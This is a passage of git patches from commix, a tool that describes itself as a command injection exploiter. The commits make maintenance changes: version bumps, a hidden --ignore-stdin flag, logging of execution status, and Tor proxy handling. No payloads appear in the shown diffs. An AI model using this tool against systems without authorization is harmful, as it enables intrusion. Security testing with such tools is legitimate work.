re.findall(r"(.*): (.*)", line) + match = "".join([str(i) for i in match]).replace("', '",":") + match = match.replace("('", "") + match = match.replace("')","\\n") + # Ignore some header. + if "Content-Length" or "Accept-Encoding" in match: + extra_headers = extra_headers + else: + extra_headers = extra_headers + match + + # Extra headers + menu.options.headers = extra_headers + # Target URL + if not menu.options.host: + invalid_data(request_file) + else: + if len(_urllib.parse.urlparse(request_url).scheme) == 0: + request_url = scheme + request_url + if not menu.options.host in request_url: + request_url = request_url.replace(scheme, scheme + menu.options.host) + request_url = checks.check_http_s(request_url) + info_msg += "using the '" + os.path.split(request_file)[1] + "' file. " + sys.stdout.write(settings.print_info_msg(info_msg)) + sys.stdout.flush() + menu.options.url = request_url + if single_request: + print(settings.SINGLE_WHITESPACE) + if menu.options.logfile and settings.VERBOSITY_LEVEL != 0: + sub_content = http_method + settings.SINGLE_WHITESPACE + menu.options.url + print(settings.print_sub_content(sub_content)) + if menu.options.cookie: + sub_content = "Cookie: " + menu.options.cookie + print(settings.print_sub_content(sub_content)) + if menu.options.data: + sub_content = "POST data: " + menu.options.data + print(settings.print_sub_content(sub_content)) # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index 657073e058..34c107c099 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "29" +REVISION = "30" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4e3f2e3e35a99015bdf73e1f515dbf0d1e9497d0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 11 Dec 2023 08:17:50 +0200 Subject: [PATCH 371/560] Minor update --- src/core/main.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 0ece63cce6..7389160fb3 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -203,7 +203,7 @@ def init_request(url): def url_response(url): if settings.INIT_TEST == True: info_msg = "Testing connection to the target URL. " - print(settings.print_info_msg(info_msg)) + print(settings.print_bold_info_msg(info_msg)) # Check if http / https url = checks.check_http_s(url) settings.TARGET_URL = _urllib.parse.urlparse(url).hostname diff --git a/src/utils/settings.py b/src/utils/settings.py index 34c107c099..2c5ba3139f 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -241,7 +241,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "30" +REVISION = "31" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f1197fd289c7e8b9b7eaffe7d49abb5252239a93 Mon Sep 17 00:00:00 2001 From: n00b-bot Date: Mon, 11 Dec 2023 18:37:56 +0700 Subject: [PATCH 372/560] refactor(menu): add --ignoreStdin option This commit refactors the menu module to include a new command-line option, "--ignoreStdin." This option allows the program to ignore STDIN input. The option is added as a boolean flag and defaults to False. --- src/core/main.py | 3 +++ src/utils/menu.py | 6 ++++++ 2 files changed, 9 insertions(+) diff --git a/src/core/main.py b/src/core/main.py index 7389160fb3..d9ea25e5ee 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -559,6 +559,9 @@ def main(filename, url): if settings.STABLE_RELEASE == False: common.days_from_last_update() + if menu.options.ignoreStdin: + settings.STDIN_PARSING = False + # Check if specified wrong alternative shell if menu.options.alter_shell: if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS: diff --git a/src/utils/menu.py b/src/utils/menu.py index 36c5469af9..5c42b487c6 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -603,6 +603,12 @@ def banner(): default=False, help="Imitate smartphone through HTTP User-Agent header.") +misc.add_option("--ignoreStdin", + action="store_true", + dest="ignoreStdin", + default=False, + help="Ignore STDIN.") + misc.add_option("--offline", action="store_true", dest="offline", From c3f7f95f7dada8476068386804f872ee5903d84f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 13 Dec 2023 07:29:05 +0200 Subject: [PATCH 373/560] Minor update --- src/core/main.py | 10 +++++++--- src/utils/logs.py | 6 +++--- src/utils/settings.py | 9 +++++++-- 3 files changed, 17 insertions(+), 8 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 7389160fb3..f13594be47 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -575,6 +575,9 @@ def main(filename, url): else: settings.VERBOSITY_LEVEL = menu.options.verbose + if settings.VERBOSITY_LEVEL != 0: + print(settings.execution("Starting")) + if menu.options.smoke_test: smoke_test() @@ -978,12 +981,13 @@ def main(filename, url): print(settings.print_abort_msg(abort_msg)) raise SystemExit() -except SystemExit: - raise SystemExit() - except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) raise SystemExit() +except SystemExit: + if settings.VERBOSITY_LEVEL != 0: + print(settings.execution("Ending")) + raise SystemExit() # eof \ No newline at end of file diff --git a/src/utils/logs.py b/src/utils/logs.py index 65f871d5fd..eaf39b6564 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -17,7 +17,7 @@ import sys import time import sqlite3 -import datetime +from datetime import datetime, date from src.utils import menu from src.utils import settings from src.utils import session_handler @@ -107,8 +107,8 @@ def create_log_file(url, output_dir): if not menu.options.no_logging: output_file.write("\n" + "=" * 37) output_file.write("\n" + "| Started in " + \ - datetime.datetime.fromtimestamp(time.time()).strftime('%m/%d/%Y' + \ - " at " + '%H:%M:%S' + " |")) + str(date.today()) + \ + " at " + datetime.now().strftime("%H:%M:%S") + " |") output_file.write("\n" + "=" * 37) output_file.write("\n" + re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Tested URL : " + url) output_file.close() diff --git a/src/utils/settings.py b/src/utils/settings.py index 2c5ba3139f..083abfa55e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -20,7 +20,7 @@ import random import string import codecs -from datetime import datetime +from datetime import datetime, date from src.core.compat import xrange from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import reload_module as _reload_module @@ -72,6 +72,11 @@ class HTTPMETHOD(object): def print_time(): return "[" + Fore.LIGHTBLUE_EX + datetime.now().strftime("%H:%M:%S") + Style.RESET_ALL + "] " +# Print execution status +def execution(status): + debug_msg = status + " " + APPLICATION + " " + VERSION + " at " + datetime.now().strftime("%H:%M:%S") + " (" + str(date.today()) + ")." + return print_time() + DEBUG_SIGN + str(debug_msg) + Style.RESET_ALL + # Print legal disclaimer message def print_legal_disclaimer_msg(legal_disclaimer_msg): result = LEGAL_DISCLAIMER + str(legal_disclaimer_msg) + Style.RESET_ALL @@ -241,7 +246,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "31" +REVISION = "32" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From f0b6efa962051d3603c8f9ba8f160e91c4fbbf2b Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 14 Dec 2023 08:47:23 +0200 Subject: [PATCH 374/560] Potential fix for https://github.com/commixproject/commix/issues/866 --- src/core/requests/headers.py | 5 ++++- src/utils/settings.py | 4 ++-- 2 files changed, 6 insertions(+), 3 deletions(-) diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index c8b95272d2..6203126849 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -225,9 +225,12 @@ def https_open(self, req): if not menu.options.drop_set_cookie: checks.not_declared_cookies(err) try: + if err.fp is None: + raise AttributeError page = checks.page_encoding(err, action="encode") except Exception as ex: - page = err.read() + page = '' + if settings.VERBOSITY_LEVEL != 0: print_http_response(err.info(), err.code, page) diff --git a/src/utils/settings.py b/src/utils/settings.py index 083abfa55e..e20d63bcfd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -74,7 +74,7 @@ def print_time(): # Print execution status def execution(status): - debug_msg = status + " " + APPLICATION + " " + VERSION + " at " + datetime.now().strftime("%H:%M:%S") + " (" + str(date.today()) + ")." + debug_msg = status + " " + APPLICATION + " at " + datetime.now().strftime("%H:%M:%S") + " (" + str(date.today()) + ")." return print_time() + DEBUG_SIGN + str(debug_msg) + Style.RESET_ALL # Print legal disclaimer message @@ -246,7 +246,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "32" +REVISION = "33" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4e5c07d162df28b5ba27f96c27d9f64619be8271 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 15 Dec 2023 08:40:25 +0200 Subject: [PATCH 375/560] Minor refactoring --- src/core/injections/controller/checks.py | 7 ++++++- src/core/main.py | 10 +++++----- src/utils/settings.py | 2 +- 3 files changed, 12 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index b0660c1096..e795c30f8e 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -56,6 +56,11 @@ except: settings.READLINE_ERROR = True +def exit(): + if settings.VERBOSITY_LEVEL != 0: + print(settings.execution("Ending")) + os._exit(0) + """ Check injection technique(s) status. """ @@ -232,7 +237,7 @@ def user_aborted(filename, url): print(settings.print_abort_msg(abort_msg)) logs.print_logs_notification(filename, url) common.show_http_error_codes() - os._exit(0) + raise exit() """ Connection exceptions diff --git a/src/core/main.py b/src/core/main.py index f13594be47..65dd217fce 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -60,6 +60,7 @@ # Use Colorama to make Termcolor work on Windows too :) init() + """ Define HTTP User-Agent header. """ @@ -979,15 +980,14 @@ def main(filename, url): except NameError: abort_msg = "User quit (Ctrl-C was pressed)." print(settings.print_abort_msg(abort_msg)) - raise SystemExit() + raise checks.exit() except EOFError: err_msg = "Exiting, due to EOFError." print(settings.print_error_msg(err_msg)) - raise SystemExit() + raise checks.exit() except SystemExit: - if settings.VERBOSITY_LEVEL != 0: - print(settings.execution("Ending")) - raise SystemExit() + raise checks.exit() + # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index e20d63bcfd..7eae377ed7 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -246,7 +246,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "33" +REVISION = "34" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 4b0880279af35fe62dbaa7f9afb19f6e8f452911 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 18 Dec 2023 08:42:31 +0200 Subject: [PATCH 376/560] Minor update --- src/utils/logs.py | 3 ++- src/utils/settings.py | 5 +++-- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/src/utils/logs.py b/src/utils/logs.py index eaf39b6564..93eaed9bc4 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -17,7 +17,8 @@ import sys import time import sqlite3 -from datetime import datetime, date +from datetime import date +from datetime import datetime from src.utils import menu from src.utils import settings from src.utils import session_handler diff --git a/src/utils/settings.py b/src/utils/settings.py index 7eae377ed7..b3b98fdecd 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -20,7 +20,8 @@ import random import string import codecs -from datetime import datetime, date +from datetime import date +from datetime import datetime from src.core.compat import xrange from src.thirdparty.six.moves import urllib as _urllib from src.thirdparty.six.moves import reload_module as _reload_module @@ -246,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "34" +REVISION = "35" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7f573ed9ca333f5976c1bc57addf5aec4144a402 Mon Sep 17 00:00:00 2001 From: anonymousdouble <112695649+anonymousdouble@users.noreply.github.com> Date: Tue, 19 Dec 2023 14:21:38 +1100 Subject: [PATCH 377/560] Update checks.py refactor with With statement to open file to make code more Pythonic --- src/core/injections/controller/checks.py | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index e795c30f8e..93bd7cc39c 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1890,11 +1890,10 @@ def print_ps_version(ps_version, filename, _): info_msg = "Powershell version: " + ps_version print(settings.print_bold_info_msg(info_msg)) # Add infos to logs file. - output_file = open(filename, "a") - if not menu.options.no_logging: - info_msg = "Powershell version: " + ps_version + "\n" - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) - output_file.close() + with open(filename, 'a') as output_file: + if not menu.options.no_logging: + info_msg = "Powershell version: " + ps_version + "\n" + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + info_msg) except ValueError: warn_msg = "Heuristics have failed to identify the version of Powershell, " warn_msg += "which means that some payloads or injection techniques may be failed." @@ -2581,4 +2580,4 @@ def define_py_working_dir(): pass settings.USER_DEFINED_PYTHON_DIR = True -# eof \ No newline at end of file +# eof From c585bcef66a94a4a1c7ffa20d99677a68b1b9d43 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 19 Dec 2023 07:39:58 +0200 Subject: [PATCH 378/560] Added new (hidden) option `--ignore-stdin` regarding ignoring STDIN input. --- doc/CHANGELOG.md | 1 + doc/THANKS.md | 1 + src/core/main.py | 6 +++--- src/utils/menu.py | 12 ++++++------ src/utils/settings.py | 4 +--- 5 files changed, 12 insertions(+), 12 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 2ec274f9e5..0e1a40ddeb 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.9 (TBA) +* Added: New (hidden) option `--ignore-stdin` regarding ignoring STDIN input. (via @n00b-bot) * Revised: Minor improvement regarding successfully completing the scanning process (i.e. in case that parameters with anti-CSRF tokens are omitted). (via @xerxoria) * Revised: Minor improvement regarding Windows-based payloads for semiblind (i.e. "file-based") technique (i.e. command execution output). * Revised: Minor improvement in semiblind (i.e. "file-based") technique, regarding defining the URL where the execution output of an injected payload is shown. diff --git a/doc/THANKS.md b/doc/THANKS.md index a3ea5cba2f..b4da4e123a 100755 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -7,6 +7,7 @@ * Thanks [m3g9tr0n](https://twitter.com/m3g9tr0n) for a donation. ## List of individual contributors: +* Thanks [n00b-bot](https://github.com/n00b-bot) for suggesting a feature. * Thanks [xerxoria](https://github.com/xerxoria) for reporting a bug and for suggesting a relevant fix. * Thanks [Kazgangap](https://github.com/Kazgangap) for contributing a Turkish translation of README.md. * Thanks [0xFred](https://github.com/0xFred) for contributing code. diff --git a/src/core/main.py b/src/core/main.py index d88847ef65..0db6571bea 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -560,9 +560,6 @@ def main(filename, url): if settings.STABLE_RELEASE == False: common.days_from_last_update() - if menu.options.ignoreStdin: - settings.STDIN_PARSING = False - # Check if specified wrong alternative shell if menu.options.alter_shell: if menu.options.alter_shell.lower() not in settings.AVAILABLE_SHELLS: @@ -585,6 +582,9 @@ def main(filename, url): if menu.options.smoke_test: smoke_test() + if hasattr(sys.stdin, "fileno") and not any((os.isatty(sys.stdin.fileno()), menu.options.ignore_stdin)): + settings.STDIN_PARSING = True + if menu.options.ignore_redirects: settings.FOLLOW_REDIRECT = False diff --git a/src/utils/menu.py b/src/utils/menu.py index 5c42b487c6..46297ca474 100755 --- a/src/utils/menu.py +++ b/src/utils/menu.py @@ -603,12 +603,6 @@ def banner(): default=False, help="Imitate smartphone through HTTP User-Agent header.") -misc.add_option("--ignoreStdin", - action="store_true", - dest="ignoreStdin", - default=False, - help="Ignore STDIN.") - misc.add_option("--offline", action="store_true", dest="offline", @@ -633,6 +627,12 @@ def banner(): dest="smoke_test", help=SUPPRESS) +parser.add_option("--ignore-stdin", + action="store_true", + dest="ignore_stdin", + default=False, + help=SUPPRESS) + parser.add_option_group(general) parser.add_option_group(target) parser.add_option_group(request) diff --git a/src/utils/settings.py b/src/utils/settings.py index b3b98fdecd..401a2ec822 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "35" +REVISION = "36" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -437,8 +437,6 @@ class OS(object): MAXLEN = 10000 STDIN_PARSING = False -if not sys.stdin.isatty(): - STDIN_PARSING = True # Maximum response total page size (trimmed if larger) MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024 From 48bd2199e88f5fe98b503f25ed8578e6a387f0de Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 20 Dec 2023 07:13:45 +0200 Subject: [PATCH 379/560] Fixes https://github.com/commixproject/commix/issues/878 --- src/utils/logs.py | 2 +- src/utils/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/src/utils/logs.py b/src/utils/logs.py index 93eaed9bc4..3af49b76ad 100755 --- a/src/utils/logs.py +++ b/src/utils/logs.py @@ -175,7 +175,7 @@ def executed_command(filename, cmd, output): output_file = open(filename, "a") if not menu.options.no_logging: output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_BOLD_SIGN) + "Executed command: " + cmd + "\n") - output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + output + "\n") + output_file.write(re.compile(re.compile(settings.ANSI_COLOR_REMOVAL)).sub("",settings.INFO_SIGN) + "Execution output: " + output.encode(settings.DEFAULT_CODEC).decode() + "\n") output_file.close() except TypeError: pass diff --git a/src/utils/settings.py b/src/utils/settings.py index 401a2ec822..a46821c0f2 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "36" +REVISION = "37" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From dc8a10f76acc5b553605f61beddfb4d4b187d2b6 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 21 Dec 2023 09:53:41 +0200 Subject: [PATCH 380/560] Minor refactoring --- src/core/requests/tor.py | 66 +++++++++++++--------------------------- src/utils/settings.py | 2 +- 2 files changed, 22 insertions(+), 46 deletions(-) diff --git a/src/core/requests/tor.py b/src/core/requests/tor.py index d4f73ba18b..2a485601ec 100644 --- a/src/core/requests/tor.py +++ b/src/core/requests/tor.py @@ -20,26 +20,32 @@ from src.utils import menu from src.utils import settings from src.utils import requirments +from src.core.requests import requests from src.thirdparty.colorama import Fore, Back, Style, init - -if menu.options.tor_port: - TOR_HTTP_PROXY_PORT = menu.options.tor_port -else: - TOR_HTTP_PROXY_PORT = settings.TOR_HTTP_PROXY_PORT +def tor_bandle_error(): + print(settings.SINGLE_WHITESPACE) + err_msg = "Can't establish connection with the Tor HTTP proxy. " + err_msg += "Please make sure that you have " + err_msg += "Tor bundle (https://www.torproject.org/download/) or Tor and Privoxy installed and setup " + err_msg += "so you could be able to successfully use switch '--tor'." + print(settings.print_critical_msg(err_msg)) + raise SystemExit() """ Check if Tor HTTP proxy is defined. """ def do_check(): + if menu.options.tor_port: + settings.TOR_HTTP_PROXY_PORT = menu.options.tor_port check_tor_http_proxy = True info_msg = "Testing Tor HTTP proxy settings (" - info_msg += settings.TOR_HTTP_PROXY_SCHEME + "://" + settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT + info_msg += settings.TOR_HTTP_PROXY_SCHEME + "://" + settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT info_msg += "). " sys.stdout.write(settings.print_info_msg(info_msg)) sys.stdout.flush() try: - tor_http_proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT}) + tor_http_proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) opener = _urllib.request.build_opener(tor_http_proxy) _urllib.request.install_opener(opener) except: @@ -53,7 +59,7 @@ def do_check(): sys.stdout.write(settings.SUCCESS_STATUS + "\n") sys.stdout.flush() if menu.options.tor_check: - info_msg = "Tor connection is properly set. " + info_msg = "Connection with the Tor HTTP proxy is properly set. " else: info_msg = "" found_ip = re.findall(r": " + "(.*)" + "

", check_tor_page) @@ -62,39 +68,14 @@ def do_check(): warn_msg = "Increasing default value for option '--time-sec' to" warn_msg += " " + str(settings.TIMESEC) + " because switch '--tor' was provided." print(settings.print_warning_msg(warn_msg)) - else: - print(settings.SINGLE_WHITESPACE) - if menu.options.tor_check: - err_msg = "It seems that your Tor connection is not properly set. " - else: - err_msg = "" - err_msg += "Can't establish connection with the Tor HTTP proxy. " - err_msg += "Please make sure that you have " - err_msg += "Tor bundle installed and running so " - err_msg += "you could successfully use " - err_msg += "switch '--tor'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + tor_bandle_error() except _urllib.error.URLError as err_msg: - print(settings.SINGLE_WHITESPACE) - if menu.options.tor_check: - err_msg = "It seems that your Tor connection is not properly set. " - else: - err_msg = "" - err_msg = "Please make sure that you have " - err_msg += "Tor bundle installed and running so " - err_msg += "you could successfully use " - err_msg += "switch '--tor'." - print(settings.print_critical_msg(err_msg)) - raise SystemExit() + tor_bandle_error() - except (_http_client.BadStatusLine, _http_client.IncompleteRead) as err_msg: - print(settings.SINGLE_WHITESPACE) - if len(err_msg.line) > 2 : - print(err_msg.line, err_msg.message) - raise SystemExit() + except Exception as err_msg: + return requests.request_failed(err_msg) """ @@ -102,23 +83,18 @@ def do_check(): """ def use_tor(request): if menu.options.offline: - err_msg = "You cannot Tor network without access on the Internet." + err_msg = "You cannot use Tor network while offline." print(settings.print_critical_msg(err_msg)) raise SystemExit() try: - tor_http_proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + TOR_HTTP_PROXY_PORT}) + tor_http_proxy = _urllib.request.ProxyHandler({settings.TOR_HTTP_PROXY_SCHEME:settings.TOR_HTTP_PROXY_IP + ":" + settings.TOR_HTTP_PROXY_PORT}) opener = _urllib.request.build_opener(tor_http_proxy) _urllib.request.install_opener(opener) response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) return response except Exception as err_msg: - try: - error_msg = str(err_msg.args[0]).split("] ")[1] + "." - except IndexError: - error_msg = str(err_msg).replace(": "," (") + ")." - print(settings.print_critical_msg(error_msg)) - raise SystemExit() + return requests.request_failed(err_msg) # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index a46821c0f2..09424ab4a4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "37" +REVISION = "38" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 3e3fe8c51a5597036d149c7d09f117e91cd2f5dc Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 22 Dec 2023 12:20:14 +0200 Subject: [PATCH 381/560] Minor update --- src/core/main.py | 6 +++--- src/utils/settings.py | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index 0db6571bea..970699fed0 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -202,9 +202,6 @@ def init_request(url): Get the URL response. """ def url_response(url): - if settings.INIT_TEST == True: - info_msg = "Testing connection to the target URL. " - print(settings.print_bold_info_msg(info_msg)) # Check if http / https url = checks.check_http_s(url) settings.TARGET_URL = _urllib.parse.urlparse(url).hostname @@ -215,6 +212,9 @@ def url_response(url): settings.TOR_CHECK_AGAIN = False # initiate total of requests settings.TOTAL_OF_REQUESTS = 0 + if settings.INIT_TEST == True: + info_msg = "Testing connection to the target URL. " + print(settings.print_bold_info_msg(info_msg)) request = init_request(url) if settings.CHECK_INTERNET: settings.CHECK_INTERNET = False diff --git a/src/utils/settings.py b/src/utils/settings.py index 09424ab4a4..f93ae50575 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -247,7 +247,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.9" -REVISION = "38" +REVISION = "39" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7e05bda80b95c21003861d3db00d82e262635a10 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 26 Dec 2023 10:24:14 +0200 Subject: [PATCH 382/560] Improvement regarding parsing HTTP requests through Tor HTTP proxy (i.e. `--tor` switch). --- doc/CHANGELOG.md | 1 + .../techniques/time_based/tb_injector.py | 1 - .../techniques/classic/cb_injector.py | 1 - .../techniques/eval_based/eb_injector.py | 1 - .../techniques/file_based/fb_handler.py | 6 +- .../techniques/file_based/fb_injector.py | 6 +- .../techniques/tempfile_based/tfb_injector.py | 1 - src/core/main.py | 34 ++++---- src/core/modules/shellshock/shellshock.py | 11 +-- src/core/requests/authentication.py | 6 +- src/core/requests/proxy.py | 4 + src/core/requests/requests.py | 55 +++++------- src/core/requests/tor.py | 83 +++++-------------- src/utils/settings.py | 3 +- 14 files changed, 73 insertions(+), 140 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 0e1a40ddeb..3ac338b79a 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.9 (TBA) +* Revised: Improvement regarding parsing HTTP requests through Tor HTTP proxy (i.e. `--tor` switch). * Added: New (hidden) option `--ignore-stdin` regarding ignoring STDIN input. (via @n00b-bot) * Revised: Minor improvement regarding successfully completing the scanning process (i.e. in case that parameters with anti-CSRF tokens are omitted). (via @xerxoria) * Revised: Minor improvement regarding Windows-based payloads for semiblind (i.e. "file-based") technique (i.e. command execution output). diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py index 909a3df612..a200291423 100755 --- a/src/core/injections/blind/techniques/time_based/tb_injector.py +++ b/src/core/injections/blind/techniques/time_based/tb_injector.py @@ -25,7 +25,6 @@ from src.utils import settings from src.utils import common from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests diff --git a/src/core/injections/results_based/techniques/classic/cb_injector.py b/src/core/injections/results_based/techniques/classic/cb_injector.py index c1e7b78995..a623ac96dd 100755 --- a/src/core/injections/results_based/techniques/classic/cb_injector.py +++ b/src/core/injections/results_based/techniques/classic/cb_injector.py @@ -24,7 +24,6 @@ from src.utils import menu from src.utils import settings from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests diff --git a/src/core/injections/results_based/techniques/eval_based/eb_injector.py b/src/core/injections/results_based/techniques/eval_based/eb_injector.py index df84ed33c5..b5ddc3e48e 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_injector.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_injector.py @@ -21,7 +21,6 @@ import random from src.utils import menu from src.utils import settings -from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 3156f34475..67703106f8 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -22,7 +22,6 @@ from src.utils import logs from src.utils import settings from src.utils import session_handler -from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests @@ -334,11 +333,8 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r headers.do_check(request) headers.check_http_traffic(request) # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: response = proxy.use_proxy(request) - # Check if defined Tor (--tor option). - elif menu.options.tor: - response = tor.use_tor(request) else: response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 3cebcda98e..5f9b9ca4ec 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -22,7 +22,6 @@ import base64 from src.utils import menu from src.utils import settings -from src.core.requests import tor from src.core.requests import proxy from src.core.requests import headers from src.core.requests import requests @@ -327,11 +326,8 @@ def injection_results(url, OUTPUT_TEXTFILE, timesec): request = _urllib.request.Request(output) headers.do_check(request) # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy or menu.options.ignore_proxy: + if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: 